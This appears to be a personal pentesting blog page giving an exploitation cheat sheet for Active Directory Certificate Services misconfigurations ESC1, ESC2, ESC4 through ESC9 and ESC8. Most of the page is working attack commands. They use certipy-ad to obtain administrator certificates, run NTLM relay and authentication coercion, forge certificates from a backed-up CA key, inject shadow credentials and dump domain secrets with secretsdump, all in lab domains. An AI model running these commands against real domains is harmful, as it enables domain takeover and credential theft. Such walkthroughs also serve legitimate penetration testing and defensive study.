root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

AD_CS ESC8

ESC8 (exposed certsrv)-:
Recon with certipy-ad -:

certipy-ad find -u "jtrueblood" -p "blood_brothers" -dc-ip "10.1.57.249" -vulnerable -enabled

Grepping for the vulnerable ADCS’s ESC which is ESC8 (web enrollment version exposed via http)-:

cat *.txt | grep "ESC"

ESC8 is a vulnerability related to ADCS Web Enrollment. ADCS Web Enrollment is a feature that deploys a web server, enabling clients to request a certificate template. This web server supports NTLM authentication, making it susceptible to relay attacks. For this attack to succeed, you must know a valid template name to enroll in. Fortunately, ADCS comes with several default enabled templates that can be used, including ‘User,’ ‘Machine,’ and ‘DomainController.’ These templates are fairly self-explanatory: ‘User’ is for Domain Users, ‘Machine’ is for Domain Computers, and ‘DomainController’ is for Enterprise Domain Controllers.
Exploiting with impacket-ntlmrelayx-:

impacket-ntlmrelayx -t http://10.1.57.249/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication

Later, you have to use the printer bug to coerce authentication

nxc smb 10.1.57.249 -M coerce_plus -o LISTENER="10.200.88.20"

Certificate for machine DC01$ received

Convert to ticket grant ticket with pkinttools-:

python3 gettgtpkinit.py -cert-pfx DC01.shadow.gate.pfx -dc-ip 10.1.57.249 shadow.gate/dc01$ admin.ccache

Dump secrets with impacket-secrets-dump

impacket-secretsdump -k -no-pass dc01.shadow.gate

ADCS ESC1

This issue occurs in Certificate Template Management (certtmpl.msc) under the “Request Handling” settings in the template. The mistake is that the “Supply in the request” option allows users to specify any Subject Alternative Name (SAN), enabling attackers to request certificates for Administrator, Domain Admins, or service accounts.The other issue is also making it accessible to nay domain users.
Custom ESC1-:

Exploitation with certipy-ad, request certificate as administrator-:

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'Custom_ESC1' -upn 'administrator@papa.local'

Authenticating as Administrator to get ntlm hash or ticket-:

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.130.136

Evil-winrm-:

ADCS 2

ESC2 (Escalation Path 2) is a vulnerability in Active Directory Certificate Services (AD CS) where a certificate template allows low-privileged users to enroll, and the template includes dangerous Extended Key Usages (EKUs) like:
Client Authentication (1.3.6.1.5.5.7.3.2)
Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
Any Purpose (2.5.29.37.0)
These EKUs enable the attacker to request a certificate and authenticate as a different user via Kerberos (PKINIT), bypassing passwords entirely.
Run the certipy-ad find
Grep for “ESC2” and spot the necessary ANY PURPOSE detail and also domain users for enrollment rights-:

Request certificate for your own user dev-:

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136  -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'ESC2'

Request for administrator next-:

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136  -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'User' -on-behalf-of administrator -pfx dev.pfx

Authenticate again-:

certipy-ad auth -pfx administrator --dc-ip <ip>

ESC4

ESC4 Active Directory Certificate Services Vulnerability is a high-risk vulnerability in Active Directory Certificate Services (ADCS) that enables attackers to exploit misconfigured certificate template permissions (e.g., Write, GenericAll, WriteDACL). This flaw serves as a critical entry point for a certificate attack. By modifying vulnerable templates, attackers can issue authentication certificates with Client or Server Authentication EKU, allowing them to impersonate privileged users or systems (e.g., Domain Admins, Domain Controllers) using Kerberos PKINIT.
The ESC4 attack in ADCS arises due to misconfigured Access Control Entries (ACEs) on certificate templates. When these ACEs grant unintended or unprivileged Active Directory users the ability to modify the security settings of a certificate template, attackers can gain control over the template, enabling them to issue certificates with elevated privileges. This attack is particularly dangerous when attackers can leverage certificates with the Server Authentication EKU (Extended Key Usage) to impersonate trusted servers, such as Domain Controllers, and gain unauthorized access to sensitive resources.
Requirements-:
- True – Low-privileged user has Write/Owner/Modify permissions on a certificate template (e.g., WriteOwner, WriteDacl, WriteProperty).
- True – Low-privileged user has Enroll or Autoenroll permission on the vulnerable template.
- True – The template allows specifying a custom Subject Alternative Name (SAN) (e.g., to spoof a Domain Controller FQDN).
- True – The template includes or can be modified to include Server Authentication EKU (3.6.1.5.5.7.3.1).
Dangerous privileges highlighted in certipy’s response.

Leveraging the template dangerous permissions, we’ll leverage the permissions to make it more dangerous.

certipy-ad template   -u dev@papa.local   -p password   -template ESC4   -write-default-configuration \  -no-save 

-write-default-configuration enables ENROLLEE_SUPPLIES_SUBJECT and configures Client Authentication EKU making the template ESC1-vulnerable. -no-save skips saving a backup of the original configuration (omit this flag in real engagements to preserve the ability to restore).

Exploiting ESC1 again-:

Auth as administrator-:

certipy-ad auth --pfx administrator.pfx --dc-ip ip

ESC 5: : Vulnerable PKI Object Access Control

ESC5 is a high-risk certificate attack targeting Active Directory Certificate Services (ADCS). This ADCS attack exploits insecure access to the Certificate Authority (CA)’s private key. When attackers gain local admin access on the CA server, they can export the private key. This allows them to forge valid certificates for any AD account, including Domain Admins. This certificate attack allows adversaries to authenticate via Kerberos PKINIT, enabling lateral movement across the network without needing passwords or hashes
User must be part of Domain Admins:
Fist step is to back up CA certificate and Private key-:

certipy-ad ca -backup -u administrator@papa.local -p hello -ca LAB-ROOT-CA -target 192.168.130.136

Forge a certificate for a user-:

certipy-ad forge -ca-pfx 'LAB-ROOT-CA.pfx' -upn Administrator@papa.local -sid "S-1-5-21-1749148288-4111076168-2771517274-500"

Authenticating for ntlm hash-:

certipy-ad auth -pfx administrator_forged.pfx -dc-ip 192.168.130.136

ESC6: Editf_attributesubjectaltname2

ESC6 is a privilege escalation attack that exploits misconfigured certificate templates and CA settings. Consequently, it allows attackers to impersonate privileged users using legitimate certificates, bypassing brute-force or zero-day methods.
Requirements-:
SAN Injection: ESC6 exploits the SAN request attribute (+EDITF_ATTRIBUTESUBJECTALTNAME2 flag) to add additional hostnames, typically used for webserver certificates.
CA-Wide Vulnerability: The flag applies globally, making any certificate template open to user enrollment exploitable.
Impersonating Privileged Users: Attackers can issue certificates with a Domain or Enterprise Admin as an additional UPN, impersonating high-privilege users.
Unprivileged User Enrollment: Attackers can enroll through open templates (e.g., standard User template) to authenticate as domain administrators or other privileged entities.
The EDITF_ATTRIBUTESUBJECTALTNAME2 registry flag modifies CA behavior to allow certificate requesters to manually specify the Subject Alternative Name (SAN) field during enrollment.This includes identities like UPNs (e.g., administrator@ignite.local), DNS names, IPs, and email addresses. When enabled, it lets users inject custom SANs such as privileged UPNs making it a key enabler in ESC6 attacks.In an ESC6 attack, this flag is crucial. When enabled, it lets attackers request certificates with a privileged user’s UPN. If combined with a misconfigured template, the CA issues a valid certificate, grant the attacker to impersonate and authenticate as that user.By default, Active Directory auto-fills SAN fields based on the requester’s identity. However, with the flag enabled, requesters gain control over the SAN, thereby creating a path for abuse.
Exploiting it requires requesting a malicious cert as a low priv user-:

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'User' -upn 'administrator@papa.local'

Auth-:

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.130.136

ESC 7: Vulnerable Certificate Authority Access Control

ESC7 is a critical security vulnerability where attackers exploit weak access controls within Certificate Authorities (CAs). By targeting key permissions like ManageCA and Manage Certificates, attackers can compromise certificate management systems. The ManageCA permission grants administrative control, allowing attackers to modify settings like EDITF_ATTRIBUTESUBJECTALTNAME2 and exploit vulnerabilities such as ESC6 using PSPKI cmdlets. Meanwhile, ManageCertificates enables attackers to bypass certificate issuance checks, weakening security.
Exploiting it-:
Running certipy-ad find to find issues-:

Abusing ManageCA by adding a certificate officer-:

certipy-ad  ca -ca LAB-ROOT-CA -add-officer dev -u dev@papa.local -p password -target 192.168.130.136 -dc-ip 192.168.130.136

Add a vulnerable template

certipy-ad ca -ca LAB-ROOT-CA -u dev@papa.local -p password -target 192.168.130.136 -enable-template SubCA -dc-ip 192.168.130.136

Find enabled templates-:

certipy-ad find -u "dev" -p "password" -dc-ip "192.168.130.136" -enabled

Sometimes, you can request for certificate straight up but you might be restricted at times.

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'SubCA' -upn 'administrator@papa.local'

Issue and retrieve it-:

Issuing it, however, armed with the necessary CA permissions, we can bypass restrictions by either forcing or manually approving the Certificate Authority (CA) to authorise the certificate request.
```
certipy-ad ca  -u dev@papa.local -p password -ca LAB-ROOT-CA -target 192.168.130.136 -issue-request 8 -dc-ip 192.168.130.136
```
Now, reissue it, note your request id-:

certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'SubCA' -retrieve 8 

When you try to auth with that cert, you’ll get this error KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

Use passthecert-:

Generate certificate and public key-:

certipy cert -pfx user.pfx -nokey -out user.crt
certipy cert -pfx user.pfx -nocert -out user.key

Use ldap_shell-:

python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain papa.local -dc-ip 192.168.130.136

Fix if it is your personal DC

ESC 9

Run certipy-ad to show existence of
- Template Name: ESC9
- Enrollment Flag: NoSecurityExtension
- Enrollment Rights: Includes Domain Users
- Vulnerabilities: Marked explicitly as ESC9

This demonstrates that any user in the Domain Users group (like raj) can enroll a certificate from this template and that no certificate security extensions enforce any rules. These conditions are exactly what one needs to proceed with an ESC9-based impersonation.
Gain access to a writable account (proxy),(you must have GenericWrite over it) by injecting a shadow credential:

certipy-ad shadow auto -u dev -p 'password' -account "matt" -dc-ip 192.168.130.136 -debug 

Spoof UPN of Proxy account-:

certipy-ad account update -u 'dev' -p 'password' -dc-ip 192.168.130.136 -user 'matt' -upn 'Administrator@domain.local'

Request cert as administrator with the target user’s hash using the vulnerable template-:

certipy-ad req -u matt@papa.local -hashes e8cd0e4a9e89eab931dc5338fcbec54a  -ca LAB-ROOT-CA -template ESC9 -dc-ip 192.168.130.136

Revert UPN changes-:

certipy-ad account update -u dev@papa.local -password 'password' -user 'matt' -upn matt@papa.local -dc-ip 192.168.130.136

Ldap shell with pfx

Using ldap_shell

certipy-ad auth  -pfx administrator_f5c613b3-bfb9-4e4b-980a-1a80242d2ab4.pfx -ldap-shell -dc-ip 192.168.130.136